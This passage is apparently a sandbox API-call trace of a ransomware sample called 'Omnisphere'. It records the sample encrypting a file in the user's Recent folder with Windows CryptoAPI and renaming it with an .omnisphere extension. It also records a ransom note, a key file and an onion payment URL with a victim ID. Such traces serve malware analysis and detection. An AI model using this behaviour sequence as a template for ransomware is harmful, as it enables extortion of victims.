hHeap=0x1600000) returned 1 [0126.385] GetProcessHeap () returned 0x1600000 [0126.385] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166ab78 | out: hHeap=0x1600000) returned 1 [0126.385] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd256bd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1dd256bd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1dd256bd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x35e, dwReserved0=0x0, dwReserved1=0xd3, cFileName="KEBUC5mjwXRfQmP-VL.lnk", cAlternateFileName="KEBUC5~1.LNK")) returned 1 [0126.385] GetProcessHeap () returned 0x1600000 [0126.385] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x16bf0d8 [0126.385] PathCombineW (in: pszDest=0x16bf0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="KEBUC5mjwXRfQmP-VL.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KEBUC5mjwXRfQmP-VL.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KEBUC5mjwXRfQmP-VL.lnk" [0126.385] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.385] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KEBUC5mjwXRfQmP-VL.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kebuc5mjwxrfqmp-vl.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.386] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=862) returned 1 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.386] GetTickCount () returned 0x115f8a5 [0126.387] GetTickCount () returned 0x115f8a5 [0126.387] GetTickCount () returned 0x115f8a5 [0126.387] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668460) returned 1 [0126.387] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.387] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.387] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.387] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0126.387] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x35e, lpName=0x0) returned 0x288 [0126.387] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x35e) returned 0x1480000 [0126.388] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669010) returned 1 [0126.388] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639528) returned 1 [0126.388] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.388] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.388] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.388] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.388] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.388] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.388] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.389] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.390] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.391] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.391] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.391] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.391] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.391] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.391] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.391] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.391] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.391] CryptDestroyKey (hKey=0x1639528) returned 1 [0126.391] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0126.391] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x35e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.391] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.391] GetProcessHeap () returned 0x1600000 [0126.391] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2be) returned 0x16cb730 [0126.391] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KEBUC5mjwXRfQmP-VL.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kebuc5mjwxrfqmp-vl.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KEBUC5mjwXRfQmP-VL.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kebuc5mjwxrfqmp-vl.lnk.omnisphere")) returned 1 [0126.392] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KEBUC5mjwXRfQmP-VL.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KEBUC5mjwXRfQmP-VL.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KEBUC5mjwXRfQmP-VL.lnk.omnisphere.id" [0126.392] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KEBUC5mjwXRfQmP-VL.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kebuc5mjwxrfqmp-vl.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.393] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.394] CloseHandle (hObject=0x3c0) returned 1 [0126.394] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.394] CloseHandle (hObject=0x288) returned 1 [0126.394] SetEndOfFile (hFile=0x28c) returned 1 [0126.394] FlushFileBuffers (hFile=0x28c) returned 1 [0126.397] CloseHandle (hObject=0x28c) returned 1 [0126.397] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KEBUC5mjwXRfQmP-VL.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.397] GetProcessHeap () returned 0x1600000 [0126.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16d8560 [0126.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.397] GetProcessHeap () returned 0x1600000 [0126.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5640 [0126.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5640, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.397] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.397] GetProcessHeap () returned 0x1600000 [0126.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0288 [0126.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.397] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.397] GetProcessHeap () returned 0x1600000 [0126.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16c02d0 [0126.397] PathCombineW (in: pszDest=0x16c02d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.397] GetProcessHeap () returned 0x1600000 [0126.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16d3d78 [0126.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.398] WriteFile (in: hFile=0x28c, lpBuffer=0x16d3d78*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16d3d78*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.398] CloseHandle (hObject=0x28c) returned 1 [0126.398] GetProcessHeap () returned 0x1600000 [0126.398] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16d8560 | out: hHeap=0x1600000) returned 1 [0126.398] GetProcessHeap () returned 0x1600000 [0126.398] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.398] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.398] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.398] CloseHandle (hObject=0x28c) returned 1 [0126.398] GetProcessHeap () returned 0x1600000 